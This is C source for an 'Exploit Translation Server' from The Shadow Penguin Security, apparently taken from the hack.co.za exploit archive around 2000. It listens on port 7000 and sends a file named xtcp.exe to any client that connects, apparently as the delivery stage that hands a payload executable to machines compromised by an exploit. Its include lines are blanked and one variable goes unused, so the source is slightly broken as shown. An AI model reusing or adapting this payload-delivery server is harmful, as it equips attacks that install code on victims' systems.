/*============================================================================= Exploit Translation Server Version1.00 The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ============================================================================= */ #include #include #include #include #include #include #include #include #include #include #define PORT_NUM 7000 #define BUFSIZE 1000 #define SENDFILE "xtcp.exe" int get_connection(port, listener) int port; int *listener; { struct sockaddr_in address,acc; int listening_socket,connected_socket; int reuse_addr=1,acclen=sizeof(acc); memset((char *) &address, 0, sizeof(address)); address.sin_family = AF_INET; address.sin_port = htons(port); address.sin_addr.s_addr = htonl(INADDR_ANY); listening_socket = socket(AF_INET, SOCK_STREAM, 0); if (listening_socket < 0) { perror("socket"); exit(1); } if (listener != NULL) *listener = listening_socket; setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR, (void *)&reuse_addr,sizeof(reuse_addr)); if (bind(listening_socket,(struct sockaddr *)&address, sizeof(address))<0) { perror("bind"); exit(1); } listen(listening_socket, 5); connected_socket=accept(listening_socket, (struct sockaddr *)&acc,&acclen); return connected_socket; } int main(argc, argv) int argc; char *argv[]; { int sock,listensock,i,r,l; char buf[BUFSIZE]; struct stat st; FILE *fp; if ((fp=fopen(SENDFILE,"rb"))==NULL) { printf("File not found \"%s\"\n",SENDFILE); exit(1); } stat(SENDFILE,&st); r=st.st_size/BUFSIZE+1; sock = get_connection(PORT_NUM, &listensock); for (i=0;;i++) { l=fread(buf,1,BUFSIZE,fp); if (l<=0) break; write(sock,buf,l); } fclose(fp); close(sock); }/* www.hack.co.za [2000]*/